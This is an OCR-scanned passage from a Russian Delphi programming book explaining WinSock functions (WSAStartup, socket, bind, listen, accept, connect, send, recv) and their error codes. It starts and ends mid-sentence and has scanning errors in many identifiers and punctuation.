привес- ти к нежелательным последствиям. 4.3. Загрузка и выгрузка сетевой библиотеки Прежде чем начать работу с сетью, нужно подключить необходимую версию биб- лиотеки. В зависимости от версии изменяется набор доступных функций. Если загрузить первую версию библиотеки WinSock, а вызвать функцию из второй, то произойдет ошибка. При неподключении библиотеки любой вызов сетевой функции возвратит ошибку WSANOTINITIALISED. Для загрузки библиотеки используется функция WSAStartup, которая описывает- ся следующим образом: function WSAStartup( wVersionRequested: word: var WSAData: TWSAData ): Integer* stdcall: Первый параметр wVersionRequested — это запрашиваемая версия библиотеки. Младший байт указываемого числа определяет основной номер версии, а стар- ший байт — дополнительный номер. Чтобы вам легче было работать с этим па- раметром, я советую использовать функцию MAKEWORD(1, j), где 1 — это старший байт, a j — младший.
144 Глава 4. Сетевые приложения Второй параметр — это указатель на структуру WSAData, в которой после выполне- ния функции будет находиться информация о библиотеке. Если загрузка прошла успешно, то функция возвратит нулевое значение, в про- тивном случае — произошла ошибка и результатом будет ее код. Рассмотрим ос- новные коды ошибок, возникающих во время загрузки библиотеки: • WSASYSNOTREADY — основная сетевая подсистема не готова к сетевому соедине- нию; • WSAVERNOTSUPPORTED — версия библиотеки не поддерживается; • WSAEPROCLIM — превышен предел поддерживаемых ОС задач; • WSAEFAULT — неправильный указатель на структуру WSAData; • WSAEINPROGRESS — выполняется операция в блокирующем режиме. Вы уже за- пустили на выполнение какую-то функцию и нужно дождаться завершения ее работы. Структура TWSAData описывается следующим образом: PWSAData » "TWSAData: {SEXTERNALSYM WSAData} WSAData = record wVersion: word: wHIghVersion: word: szDescription: array[0..WSADESCRIPTION_LEN] of Char: szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char: iMaxSockets: word: IMaxlIdpDg: word: IpVendorlnfo: PChar: end: TWSAData = WSAData: Как видите, в заголовочном файле есть структура WSAData (именно так называется структура в библиотеке) и псевдоним для нее TWSAData (так принято именовать структуры и объекты в Delphi, начиная с буквы Т). Рассмотрим параметры структуры TWSAData: • wVersion — версия подключенной библиотеки WinSock, которая может отли- чаться от запрашиваемой. Если вы запросили 1.1, то может загрузиться 2.0, но только не 1.0; • wHIghVersion — последняя версия; • szDescription — текстовое описание, которое заполняется не во всех версиях сетевой библиотеки; • szSystemStatus — текстовое описание состояния, которое заполняется не во всех версиях; • iMaxSockets — максимальное количество открываемых соединений. Эта инфор- мация на данный момент не соответствует действительности, потому что мак- симальное число зависит только от доступных ресурсов. Параметр остался только для совместимости с первоначальной спецификацией. Нет смысла со-
4.4. Инициализация сети 145 здавать новую структуру, которая будет отличаться от старой только отсут- ствием одного параметра. Чаще всего такой параметр просто игнорируется библиотекой. Вы тоже должны игнорировать его на случай каких-либо изме- нений в будущих версиях; • IMaxUdpDg — максимальный размер дейтаграммы (пакета). Информация не со- ответствует действительности, потому что размер зависит от протокола; • 1 pVendorlnfo — информация о производителе. Здесь может быть текстовая стро- ка с описанием. Не все параметры могут быть заполнены. Чаще всего параметры szDescription и 1 pVendorlnfo остаются пустыми. По правилам хорошего тона вся выделяемая память и загружаемая информация должны освобождаться. Для освобождения библиотеки WinSock по окончании работы с программой используется функция WSACleanup, которая описывается сле- дующим образом: function WSAfleanup: Integer; stdcall; Функции не нужны параметры, потому что она просто освобождает библиотеку, после чего работа с сетевыми функциями становится недоступной. Если при вы- ходе из программы не освободить библиотеку, то система сделает это самостоя- тельно, но на это не стоит надеяться. Как мы уже говорили, все, что было выделе- но для программы, должно быть освобождено. 4.4. Инициализация сети После загрузки библиотеки мы должны создать сокет, с помощью которого будем работать с сетью. Для этого в первой версии библиотеки есть функция socket: function socket! af; Integer; type: Integer; protocol; Integer ); TSocket; stdcall; Давайте рассмотрим параметры этой функции: • af — семейство протоколов, которые мы собираемся использовать. У каждого протокола своя адресация, и в зависимости от выбранного протокола будет свой способ указания адреса компьютера. Вот некоторые из семейств, которые можно указывать в этом параметре: О AFJJNSPEC — спецификация не указана; О AF_INET — интернет-протоколы TCP, UDP и т. д. В этой книге мы будем ис- пользовать именно эти протоколы, как самые популярные и распростра- ненные на данный момент; О AF IPX — протоколы IPX, SPX; О AF NETBIOS — протокол NetBios;
146 Глава 4. Сетевые приложения О AF_APPLETALK — протокол AppleTalk для компьютеров фирмы Apple • type — тип спецификация для нового сокета. Здесь можно указывать одно из следующих значений: О SOCK_STREAM — передача будет происходить с установкой соединения. При использовании интернет-протоколов применяется TCP; О SOCK_DGRAM — данные передаются без установки соединения. При использо- вании интернет-протоколов применяется UDP. • protocol — указывается нужный протокол. Существует большое количество протоколов; вы можете узнать об используемых константах в справочной си- стеме по программированию WinSock. В нашем случае применяется констан- та IPPROTO_TCP, которая соответствует протоколу TCP. Во второй версии WinSock для создания сокета можно использовать функцию WSASocket. Она описывается следующим образом: function WSASocket( af: Integer; IType: Integer: protocol: Integer: IpProtocolInfo: LPWSAProtocol_Info; g: GROUP: dwFlags: DWORD ): TSocket; stdcall; Первые три параметра и возвращаемое значение для обеих функций одинако- вы. Функции возвращают созданный сокет, который будет использоваться в дальнейшем при работе с сетью. В функции WSASocket добавлены следующие три параметра: • 1 pProtocol Info — указатель на структуру WSAPROTOCOL INFO, в которой определя- ются характеристики создаваемого сокета; • g — идентификатор группы сокетов; • dwFl ags — атрибуты сокета. Более подробно с указанными параметрами мы познакомимся в процессе напи- сания примеров. Это поможет вам лучше понять их и сразу же увидеть результат работы. Результатом выполнения функции будет сетевой дескриптор (значение типа TSocket), который будет использоваться в каждой последующей сетевой функции. Если про- изошла ошибка, то результатом будет INVALID_SOCKET, а код ошибки можно опреде- лить с помощью вызова функции WSAGetLastError. Запомните, что эта функция воз- вращает в случае ошибки INVALID_SOCKET, а не SOCKET ERROR, как многие другие сетевые функции. Функция WSASocket может генерировать следующие ошибки: • WSANOTI NITI All SED — сначала необходимо вызвать функцию WSASturtup, а потом создавать сокет; • WSAENETDOWN — связь нарушена, возможные причины — отошел кабель или про- изошло отключение от Интернета;
4.5. Функции сервера 147 • WSAEAFNOSUPPORT — запрашиваемая адресация (значение параметра af) не под- держивается; • WSAEINPROGRESS — выполняется операция в блокирующем режиме. Вы уже за- пустили на выполнение какую-то функцию и нужно дождаться завершения ее работы; • WSAEMFILE — ресурс доступных дескрипторов исчерпан; • WSAENOBUFS — недостаточно памяти буфера, и сокет не может быть создан; • WSAEPROTONOSUPPORT — протокол не поддерживается; • WSAEPROTOTYPE — неверный тип спецификации (параметр type) для выбранного протокола; • WSAESOCKTNOSUPPORT — указанный тип сбкета не поддерживается данной адреса- цией. Большинство ошибок возникает из-за неправильного указания значений. Напри- мер, протокол TCP работает с установкой соединения, поэтому в параметре type нужно указывать SOCK_STREAM (протокол с установкой соединения), а в параметре protocol должно быть значение IPPROTO TCP. Если в параметре type поставить зна- чение SOCK DGRAM — протокол без установки соединения, то произойдет ошибка WSAEPROTOTYPE 4.5. Функции сервера Протокол TCP работает по технологии клиент-сервер. Чтобы обмениваться дан- ными, сначала два компьютера должны установить соединение. Для этого один из них начинает прослушивание на определенном порте (такой компьютер на- зывается сервером}. После этого второй компьютер (клиент) может присоеди- ниться к серверу. Давайте рассмотрим функции, необходимые для создания сервера. Сначала мы должны связать локальный сетевой адрес с сокетом Для этого используется функ- ция bind. Она описывается следующим образом: function bind( s: TSocket; var addr: TSockAddr; namelen: Integer ): Integer; stdcall; Функция bind имеет следующие параметры: • s — предварительно созданный сокет; • addr — указатель на структуру типа SockAddr. Тип этой структуры зависит от используемой адресации (протокола); • namel еп — размер структуры SockAddr, указанной в качестве второго параметра. Если функция отработала удачно, то результатом будет 0, в противном случае возвращается значение SOCKET ERROR. Код ошибки можно получить с помощью функции WSAGetLastError Возможны следующие ошибки:
148 Глава 4, Сетевые приложения • WSANOTINITIАНSED — сначала необходимо вызвать функцию WSASturtup, а потом создавать сокет; • WSAENETDOWN — связь нарушена, возможные причины — отошел кабель или про- изошло отключение от Интернета; • WSAEADDRINUSE — указанный адрес уже используется; • WSAEFAULT — параметры name и namelen не соответствуют выбранной адресации. Параметр namelen может быть меньше необходимого значения, a name может содержать некорректные данные; • WSAEINPROGRESS — выполняется операция в блокирующем режиме. Вы уже за- пустили на выполнение какую-то функцию и нужно дождаться завершения ее работы; • WSAEINVAL — сокет уже связан с адресом; • WSAENOBUFS — недостаточно буферов, слишком много соединений; • WSAENOTSOCK — неверный дескриптор сокета. Структура SockAddr может описываться по-разному, в зависимости от используе- мого протокола. Это связано с тем, что структура предназначена для хранения адреса, а в разных протоколах используется своя адресация. Для интернет-прото- колов, таких как TCP и UDP, структура имеет имя SockAddr ln (в данном случае «in» на конце является сокращением слова Internet, указывает на интернет-адре- сацию) и выглядит следующим образом: SockAddr_In = record sin_family: u_short: sin__port: u_short; sin_addr: TInAddr; sin_zero: array[0..7] of Char): end: TSockAddrln = sockaddrjn; После объявления структуры описывается переменная TSockAddrln, ее рекомен- дуется использовать в Delphi при работе с интернет-адресом. Рассмотрим параметры структуры SockAddr_In: • si n_f ami 1 у — семейство протоколов. Этот параметр схож с первым параметром функции socket. Мы будем использовать интернет-протоколы, поэтому здесь указана константа AF_INET. По этому параметру система определит, какие дан- ные и в каком формате представлены в остальных параметрах структуры; • sin_port — порт, который будет применяться для идентификации нашей про- граммы, когда к компьютеру поступят данные; • sin_addr — структура SockAddr_In, которая хранит 1Р-адрес; • sin_zero — выравнивание, с помощью которого размер структуры дополняет- ся до определенного в системе значения. Структура SockAddr_In имеет и более короткий вариант записи: SockAddr_In = record sa_family: u_short;
4.5. Функции сервера 149 sa_data: array[O..13] of Char end; Здесь указываются только семейство протоколов и выравнивание, в котором все данные обнуляются. Давайте сейчас подробнее остановимся на портах. Вы должны быть очень внима- тельны при выборе порта, потому что если на нем уже будет работать какая-то программа, то вторая попытка закончится ошибкой. Только одно приложение может работать с определенным портом. Открытые порты другим программам недоступны и не могут быть повторно открыты. Вы должны знать, что некоторые порты зарезервированы для определенных (наи- более популярных) служб. Номера этих портов распределяются центром Internet Assigned Numbers Authority (IANA). Существует три категории портов: • 0-1023 — управляются IANA и зарезервированы для стандартных служб. Не рекомендуется использовать порты из этого диапазона, потому что существу- ет большая вероятность вступить в конфликт с другими программами; • 1024-49151 — зарезервированы IANA, но могут использоваться процессами и программами. Большинство из этих портов можно использовать; • 49152-65535 — частные порты и никем не зарезервированы. Эти порты ис- пользуются в частных программах, и вероятность вступить в конфликт нич- тожно мала. Если во время выполнения функции bind выяснится, что порт уже используется какой-то службой, то функция возвратит ошибку WSAEADDRINUSE. После того как локальный адрес и порт привязаны к сокету, мы можем присту- пить к прослушиванию порта в ожидании соединения со стороны клиента. Для этого служит функция 1 i sten, которая описывается следующим образом: function listen( s: TSocket: backlog: Integer ): Integer; stdcall; Первый параметр — это все тот же сокет, к которому привязали адрес. По этим данным функция определит, на каком порту нужно запустить прослушивание. Второй параметр — это максимальная длина очереди запросов. Допустим, вы ука- зали здесь значение 3, а вам пришло 5 запросов на соединение от разных клиен- тов. Только три первых из них встанут в очередь, а остальные получат ошибку WSAECONNREFUSED. Таким образом, при написании клиента, при попытке соединить- ся вы обязательно должны проверять, чтобы не было этой ошибки. При вызове функции 1 i sten вы можете получить следующие основные ошибки: • WSANOTINITIALISED — сначала необходимо вызвать функцию WSASturtup, а потом создавать сокет; • WSAENETDOWN — связь нарушена, возможные причины — отошел кабель или про- изошло отключение от Интернета; • WSAEADDRINUSE — прослушивание уже запущено;
150 Глава 4, Сетевые приложения • WSAEINVAL — сокет не был связан функцией bind; • WSAEINPROGRESS — выполняется операция в блокирующем режиме. Вы уже за- пустили на выполнение какую-то функцию и нужно дождаться завершения ее работы; • WSAENOBUFS — недостаточно буферов, слишком много соединений; • WSAENOTSOCK — неверный дескриптор сокета; • WSAEISCONN — сокет уже подключен; • WSAEMFILE — больше нет доступных дескрипторов; • WSAEOPNOTSUPP — указанный сокет не поддерживает функцию 1 i sten. Эта ошиб- ка возникает, когда выбран протокол без установки соединения, например UDP, а вы пытаетесь вызвать функцию listen. Когда клиент попадает в очередь на подключение к серверу, то мы должны раз- решить соединение с помощью функции accept. Она описывается следующим образом: function accept( s: TSocket; addr: PSockAddr: addrlen: PInteger ): TSocket: stdcall: Во второй версии есть функция WSAAccept, у которой первые три параметра такие же, как и у функции accept. Функция WSAAccept выглядит следующим образом: SOCKET WSAAccept( SOCKET s, struct sockaddr FAR * addr, LPINT addrlen, LPCONDITIONPROC IpfnCondition, DWORD dwCallbackData); Если рассмотренные ранее функции, начинающиеся с префикса WSА, появились раньше (например, в версии 1.1), то эта доступна только в 2.0. Чтобы использо- вать ее возможности в своих проектах, нужно подключить модуль WinSock 2. Приведу общие параметры для этих функций: • предварительно созданный сокет, который мы запустили на прослушивание; • указатель на структуру типа SockAddr; • размер структуры SockAddr, указанной в качестве второго параметра. После выполнения функции accept второй параметр (addr) будет содержать сведе- ния об IP-адресе клиента, который произвел подключение. Эти данные использу- ются для проверки, может ли клиент с таким адресом работать с сервером. Таким образом, очень просто реализовать контроль доступа по IP-адресу. Но вы должны знать, что злоумышленнику не составляет труда подделать IP-адрес, поэтому та- кую защиту нельзя назвать достаточной. Тем не менее процедура взлома сервера усложняется.
4.6. Функции клиента 151 Функция accept возвращает указатель на новый сокет, который вы можете ис- пользовать для общения с клиентом. Старая переменная типа SOCKET продолжает прослушивать порт в ожидании новых соединений и использовать ее нет смысла. Таким образом, для каждого подключенного клиента будет свой SOCKET, благода- ря чему вы сможете работать с любым их них. Функция accept может генерировать следующие коды ошибок: • WSANOTINITIALISED — сначала необходимо вызвать функцию WSASturtup, а потом создавать сокет; • WSAENETDOWN — связь нарушена, возможные причины — отошел кабель или про- изошло отключение от Интернета; • WSAEFAULT — параметр addr 1 еп слишком маленький или параметр addr содержит не соответствующие выбранной адресации данные; • WSAEINVAL — не была вызвана функция 1 i sten, прежде чем было принято соеди- нение; • WSAEINPROGRESS — выполняется операция в блокирующем режиме. Вы уже за- пустили на выполнение какую-то функцию и нужно дождаться завершения ее работы; • WSAENOBUFS — недостаточно буферов, слишком много соединений; • WSAENOTSOCK — неверный дескриптор сокета; • WSAEMFILE — очередь не пустая, но нет доступных дескрипторов; • WSAEOPNOTSUPP — указанный сокет не может работать с установкой соединения. 4.6. Функции клиента У нас уже достаточно информации для написания серверных приложений, но со- здавать примеры пока рано, потому что нельзя гарантировать их работоспособ- ность. Поэтому давайте познакомимся с клиентскими функциями, а потом сразу напишем и клиент и сервер. Для соединения с сервером нужно осуществить всего два этапа — создать сокет и подключиться к удаленному компьютеру. Первый этап нам уже знаком, потому что сокет создается функцией socket. Двухэтапное соединение происходит только в идеальном случае. Чаще всего до- бавляется еше один этап — определение IP-адреса по указанному имени компью- тера. Пользователям тяжело работать с IP-адресами, потому что это числа. Мы легко запоминаем 10 номеров телефонов, но постоянно держать в голове сотни больших чисел очень тяжело. Поэтому чаще всего используются символьные име- на серверов/компьютеров. Понятные названия откладываются в памяти быстрее. В отличие от людей компьютер работает с адресами как с числами. Именно по- этому приходится использовать преобразование символьного имени компьютера в числовой адрес. Мы будем работать с IP-адресацией, а это значит, что адрес бу- дет состоять из 4 чисел от 0 до 255, разделенных точками.
152 Глава 4. Сетевые приложения Познакомимся с процессом определения IP-адреса. Для этого используется одна из двух функций — gethostbyname или WSAAsyncGetHostByName. Для начала рассмот- рим функцию gethostbyname. Она описывается следующим образом: function gethostbyname( name: PChar ): PHostEnt: stdcall: В качестве единственного параметра нужно передать символьное имя искомого компьютера. Функция возвращает структуру типа hostent, которую мы рассмот- рим чуть позже. Функция gethostbyname может генерировать следующие коды ошибок: • WSANOTINITIALISED — сначала необходимо вызвать функцию WSASturtup, а потом создавать сокет; • WSAENETDOWN — связь нарушена, возможные причины — отошел кабель^или про- изошло отключение от Интернета; • WSAHOST_NOT_FOUND — официальный ответ от компьютера с таким адресом не най- ден; • WSATRYAGAIN — ошибка сервера. В этом случае можно попробовать вызвать функцию повторно. Не стоит запускать бесконечный цикл определения име- ни, пока нам возвращается эта ошибка. Программа может никогда не узнать адрес, и произойдет зависание; • WSANO_RECOVERY — возникла ошибка, которую нельзя устранить; • WSANO_DATA — имя существует, но нет записи запрошенного типа. Это случает- ся, когда компьютер в сети есть, но не имеет нужного нам настроенного прото- кола; • WSAEFAULT — параметр name не входит в часть адресного пространства пользова- теля; • WSAEINPROGRESS — выполняется операция в блокирующем режиме. Вы уже за- пустили на выполнение какую-то функцию и нужно дождаться завершения ее работы; • WSAEINTR — функцией WSACancelBlockingCal 1 отменен блокирующий вызов. Теперь переходим к рассмотрению функции WSAAsyncGetHostByName. Она описыва- ется следующим образом: function WSAAsyncGetHostByName( HWnd: HWND: wMsg: u_1nt: name: PChar: buf: PChar: buflen: Integer ): THandle; stdcall: Функция исполняется асинхронно, а это значит, что при вызове не блокируется выполнение программы. Программа будет работать дальше, результат мы полу- чим позже через сообщение Windows, указанное в качестве второго параметра.
4.6. Функции клиента 153 Это очень удобно, потому что процесс определения адреса может быть долгим, и блокирование программы на это время будет неэффективным Лучше исполь- зовать время с пользой и произвести какие-то подготовительные действия (пред- варительные расчеты, загрузку локальных файлов в память для последующей от- правки по сети), которые могут пригодиться после установки соединения. Рассмотрим параметры функции WSAAsyncGetHostByName: • hWnd — дескриптор окна, которому будет послано сообщение по завершении выполнения асинхронного запроса; • wMsg — сообщение Windows, которое будет сгенерировано по завершении оп- ределения IP-адреса; • name — символьное имя компьютера, адрес которого надо определить; • buf — буфер, в который будет помещена структура hostent. Буфер должен иметь достаточный объем памяти. Максимальный размер равен 1024 байта, но луч- ше воспользоваться константой MAXGETHOSTSTRUCT; • buflen — длина буфера, указанного в параметре buf. Структура hostent с помощью которой будет получен результат определения ад- реса, описывается следующим образом: hostent = record h_name: PChar; h_al1ases: ^PChar; h_addrtype: Smallint; h_length: Smallint: h_addrjist; ^PChar end; THostEnt = hostent; После объявления структуры host ent стоит псевдоним THostEnt Именно это имя нужно использовать в своих проектах на Delphi. Рассмотрим параметры структуры hostent: • h_name — полное имя компьютера. Если в сети используется доменная система, то этот параметр будет содержать полное доменное имя; • h_al i ases — дополнительное имя узла; • h_addrtype — тип возвращаемого адреса; • h_l ength — длина каждого адреса в списке адресов; • h_addr_l i st — список адресов компьютера. Компьютер может иметь несколько адресов, поэтому структура возвращает нам полный список, заканчивающийся нулем. В большинстве случаев достаточно вы- брать первый адрес из списка. Если функция gethostbyname определила какие-ни- будь адреса, то чаще всего по любому из них можно будет соединиться с искомым компьютером. Если связь недоступна, то тогда можно попробовать использовать другой адрес.
154 Глава 4. Сетевые приложения Наиболее эффективным было бы указание цикла, в котором последовательно про- изводились попытки соединиться по найденным IP-адресам. Как только соедине- ние прошло удачно, цикл должен прерываться. Единственный случай, с которым я встречался на практике, когда нельзя было соединиться с сервером по первому из найденных адресов, — это когда сетевой экран сервера запрещал подключение к нужному порту по этому адресу. Теперь перейдем непосредственно к функции соединения с сервером connect. Она описывается следующим образом: function connect( s: TSocket; var name: TSockAddr; namelen: Integer ): Integer: stdcall: Функция connect имеет такие параметры: • s — предварительно созданный сокет; • name — структура SockAddr, содержащая адрес сервера, к которому надо подклю- читься; • namelen — размер структуры SockAddr, указанной в качестве второго параметра. Во второй версии появилась функция WSAConnect, ее объявление есть только в мо- дуле WinSock 2 и выглядит следующим образом: function WSAConnect( s: TSocket: const name: PSockAddr; namelen: Integer: IpCallerData, IpCalleeData: LPWSABUF; IpSQOS, IpGQOS: LPQOS ): Integer: stdcall: Первые три параметра нам уже знакомы, и они ничем не отличаются от рассмот- ренных в функции connect. Поэтому коснемся только новых для нас параметров: • IpCallerData — указатель на пользовательские данные, которые будут отправ- лены серверу во время установки соединения; • IpCalleeData — указатель на буфер, в который будут помещены данные, воз- вращаемые во время соединения. Оба параметра имеют тип указателя на структуру WSABUF, которая описывается так: WSABUF = packed record len: U-LONG: // Размер буфера buf: PChar; // Указатель на буфер end PWSABUF = -WSABUF; LPWSABUF = PWSABUF: где первый параметр — размер буфера, а второй параметр является указателем на сам буфер. 1
4.7. Функции приема и передачи данных 155 Последние два параметра функции WSAConnect — это IpSQOS и IpGQOS, которые яв- ляются указателями на структуры типа QOS. Они определяют требования к про- пускной способности канала при приеме и передаче данных. Если указать нуле- вое значение, то это будет означать, что не предъявляется никаких требований к качеству обслуживания. Во время попытки соединения вы чаще всего можете встретить следующие ошибки: • WSANOTINITIALISED — сначала необходимо вызвать функцию WSASturtup, а потом создавать сокет; • WSAENETDOWN — связь нарушена, возможные причины — отошел кабель или про- изошло отключение от Интернета; • WSAEADDRINUSE — указанный адрес уже используется; • WSAEINTR — функцией WSACancelBlockingCal 1 блокирующий вызов был отменен; • WSAEINPROGRESS — выполняется операция в блокирующем режиме. Вы уже за- пустили на выполнение какую-то функцию и нужно дождаться завершения ее работы; • WSAEALREADY — указанный сокет занят неблокирующей операцией; • WSAEADDRNOTAVAIL — указанный адрес не доступен с локальной машины; • WSAEAFNOSUPPORT — указанная адресация не может использоваться с данным со- кетом. Ошибка возникает, если сокет создан для IP-адресации, а в функции connect указана адресация любого другого несовместимого протокола; • WSAEFAUL — параметры name или namelen не соответствуют указанной адресации или имеют неправильные размеры; • WSAEISCONN — сокет уже имеет подключение с удаленным компьютером; • WSAENETUNREACH — сеть не доступна с локальной машины в данный момент; • WSAENOBUFS — нет свободных буферов. Сокет не может подключиться; • WSAENOTSOCK — дескриптор не является сокетом; • WSAETIMEDOUT — сервер недоступен. Возможна какая-то проблема на пути соеди- нения; • WSAECONNREFUSED — на сервере не запущено прослушивание указанного порта; • WSAEWOULDBLOCK — сокет создан как неблокирующий, и в данный момент опера- ция не может быть завершена. Эта ошибка возникает при любом вызове функ- ции в неблокирующем режиме; • WSAEACCES — попытка соединиться пакетным сокетом к широковещательному адресу невозможна, потому что не включен параметр SO_BROADCAST 4.7. Функции приема и передачи данных Запустив сервер и подключившись к нему с помощью клиентской программы, можно приступать к обмену данными. Чтобы реализовать это, необходимо позна- комиться с функциями приема и передачи данных.
156 Глава 4. Сетевые приложения Сразу необходимо отметить, что функции создавались тогда, когда еще не было даже разговоров об Unicode (универсальной кодировке, позволяющей работать с любым языком). Поэтому, чтобы отправить данные в этой кодировке, можно использовать массив символов char, а длину умножить на 2, потому что каждый символ в Unicode занимает 2 байта, в отличие от ASCII, где символ равен одно- му байту. Начнем рассмотрение функций обмена данными с отправки. Для передачи данных серверу существует функция send, а для второй версии библиотеки WinSock — WSASend. Функция send описывается следующим образом: function send( s: TSocket: var Buf: len: Integer; flags: Integer ): Integer: stdcall: Рассмотрим параметры данной функции: • s — сокет, через который будет происходить отправка данных. У вас в програм- ме может быть открыто одновременно несколько соединений с разными сер- верами, и нужно четко определить, какой сокет использовать; • buf — буфер, содержащий данные, которые необходимо отправить; • len — длина буфера в параметре buf; • fl ags — флаги, определяющие метод отправки. Здесь можно указывать сочета- ние из следующих значений: О 0 — флаги не указаны; О MSG_DONTROUTE — отправляемые пакеты не надо маршрутизировать. Если транспортный протокол, отправляющий данные, не поддерживает этот флаг, то он игнорируется; О MSG_OOB — данные должны быть отправлены вне очереди (out of band), то есть срочно. Функция WSASend доступна только во второй версии библиотеки, и нужно подклю- чать заголовочный файл WinSock 2. Описание функции следующее: function WSASend( s: TSocket; IpBuffers: LPWSABUF; dwBufferCount: DWORD; var IpNumberOfBytesSent: DWORD; dwFlags: DWORD; IpOverlapped: LPWSAOVERLAPPED; 1pCompleti onRouti ne: LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer: stdcall; Рассмотрим параметры функции WSASend: • s — сокет, через который будет происходить отправка данных;
4.7. Функции приема и передачи данных 157 • 1 pBuffers — структура или массив структур типа WSABUF. С этой структурой мы познакомились, когда рассматривали функцию connect. Она же использова- лась для отправки данных во время соединения; • dwBufferCount — количество структур в параметре IpBuffers; • IpNumberOfBytesSent — количество переданных байтов^если операции ввода- вывода уже завершились; • dwFl ags — определяет метод отправки и может принимать такие же значения, как параметр dwFl ags функции send; • 1 pOver 1 apped и 1 pCompl eti onRouti ne — используются при перекрытом вводе-вы- воде (overlapped I/O). Это одна из моделей асинхронной работы сети, поддер- живаемой WinSock. Если функция send (или WSASend) отработала успешно, то она возвратит количе- ство отправленных байтов, в противном случае — значение -1 (константа SOCKET- ERROR). Получить код ошибок вы можете с помощью функции WSAGetLastError: • WSANOTINITIALISED — сначала необходимо вызвать функцию WSASturtup, а потом создавать сокет; • WSAENETDOWN — связь нарушена, возможные причины — отошел кабель или про- изошло отключение от Интернета; • WSAECONNABORTED — соединение было прервано, или вышло время ожидания, или произошла другая ошибка; • WSAEACCES — указанный адрес является широковещательным, но нужный флаг не выставлен; • WSAEINTR — блокирующая операция была прервана функцией WSACancelBlock- ingCall; • WSAEINPROGRESS — выполняется операция в блокирующем режиме. Вы уже за- пустили на выполнение какую-то функцию и нужно дождаться завершения ее работы; • WSAENETRESET — удаленный компьютер прервал соединение, необходимо закрыть сокет; • WSAENOBUFS — нет доступных буферов; • WSAENOTCONN — соединение не установлено. Или вы забыли установить соедине- ние с сервером, или оно уже было прервано; • WSAENOTSOCK — указанный дескриптор не является сокетом; • WSAEOPNOTSUPP — указан флаг MSG_OOB, но сокет настроен не в режиме потока (SOCK_STREAM), или не поддерживается внеочередная передача данных, или со- кет однонаправленный и может только отправлять данные; • WSAESHUTDOWN — сокет закрыт. Возможно, была вызвана функция shutdown; • WSAEWOULDBLOCK — сокет помечен как неблокирующий, а запрошенная операция будет заблокирована; • WSAEMSGSIZE — сокет настроен как ориентированный на сообщения (например, протокол UDP), а размер пакета больше возможного. Только при использова-
158 Глава 4. Сетевые приложения нии соединения TCP можно отправлять данные больше возможного пакета, потому что здесь разбиение происходит автоматически; • WSAEHOSTUNREACH — удаленный узел не может быть доступен в текущий момент; • WSAEINVAL — сокет не был привязан функцией bi nd, или указан неизвестный флаг, или установлен флаг MSG_OOB для сокета с включенной опцией SO_OOBINLINE; • WSAECONNABORTED — виртуальное соединение было прервано из-за превышения времени ожидания или другой ошибки; • WSAECONNRESET — виртуальное соединение было закрыто. Для сокетов UDP уда- ленный хост не распознал предыдущую посылку и ответил сообщением «Port Unreachable» (порт недосягаем). Приложение должно закрыть сокет; • WSAETIMEDOUT — время ожидания ответа вышло. Для получения данных используются функции recv и WSARecv (для второй версии WinSock). Функция recv описывается следующим образом: function recv( s: TSocket; var Buf; len: Integer: flags: Integer ): Integer; stdcall; Параметры очень похожи на те, которые мы видели у функции send: • s — сокет, чьи данные надо получить; • buf — буфер, в который будут помещены принятые данные; • len — длина буфера в параметре buf; • fl ags — флаги, определяющие метод получения. Здесь можно указывать соче- тание из следующих значений: О 0 — флаги не указаны; О MSG_PEEK — данные должны быть считаны из системного буфера и не удале- ны. По умолчанию считанные данные удаляются из системного буфера; О MSG OOB — обработать срочные данные (out of band) Использовать флаг MSG_PEEK не рекомендуется, так как существует множество не- предсказуемых проблем для данного флага. При его применении функцию recv при- дется вызывать второй раз (без этого флага), чтобы удалить данные из системного буфера. При втором считывании в буфер может попасть больше данных, чем в пер- вый раз (за это время компьютер может получить какие-то пакеты на порт), и вы рискуете обработать данные дважды или не обработать что-то вообще. Еще одна проблема заключается в том, что системная память не очищается и остается мень- ше пространства для поступающих данных. Именно поэтому я рекомендую исполь- зовать флаг MSG_PEEK крайне редко, только при необходимости и очень аккуратно. Если функция recv вернула нулевое значение, то есть не произошло ошибок и по- лучено 0 байт, то это означает, что клиент завершил соединение (оборвалась связь или сеанс завершен) и сокет можно закрывать.
4.7. Функции приема и передачи данных 159 ПРИМЕЧАНИЕ ------------------------------------------------------------------- В параметре len функции recv всегда указывайте размер буфера, а не размер данных, которые нужно получить. Если данных для получения будет больше, чем позволяет сохра- нить буфер, то может произойти эффект переполнения, о котором мы уже говорили. В этом случае считываемые по сети данные выйдут за пределы буфера, таким образом возможна перезапись критически важной для системы информации. Функция WSARecv описывается следующим образом: function WSARecv( s: TSocket: IpBuffers: LPWSABUF; dwBufferCount. DWORD: var IpNumberOfBytesRecvd: DWORD: var IpFlags: DWORD: IpOverlapped: LPWSAOVERLAPPED: IpCompletionRoutine: LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer: stdcall: Здесь также бросается в глаза сходство в параметрах с функцией WSASend. Давайте рассмотрим их назначение: • s — сокет, через который будет происходить получение данных; • IpBuffers — структура или массив структур типа WSABUF. В эти буферы будут помещены полученные данные; • dwBufferCount — количество структур в параметре IpBuffers; • IpNumberOfBytesRecvd — количество полученных байтов, если операции ввода- вывода уже завершились; • IpFlags — определяет метод отправки и может принимать такие же значения, как и параметр dwFl ags функции recv. Содержит новый флаг MSG PARTIAL. Его нужно указывать для протоколов, ориентированных на сообщения, когда дан- ные нельзя прочитать за один прием В этом случае мы получим часть данных, а остальное сможем прочитать при следующем считывании; • IpOverlapped и IpCompletionRoutine — используются в перекрытом вводе-выво- де (overl apped I/O). Это одна из моделей асинхронной работы сети, поддержи- ваемой WinSock. Стоит заметить, что если при использовании функции получения данных, вы при- меняете протокол, ориентированный на передачу сообщений (UPD) и указали недостаточный размер буфера, функция возвратит ошибку WSAEMSGSIZE. Если про- токол потоковый (TCP), то такая ошибка не может возникнуть, потому что полу- чаемые данные кэшируются в системе и предоставляются приложению полнос- тью. В этом случае, если указан недостаточный буфер, оставшиеся данные можно получить при последующем считывании. Во время получения данных могут произойти следующие ошибки: • WSANOTINITIALISED — сначала необходимо вызвать функцию WSASturtup, а потом создавать сокет; • WSAENETDOWN — связь нарушена, возможные причины — отошел кабель или про- изошло отключение от Интернета;
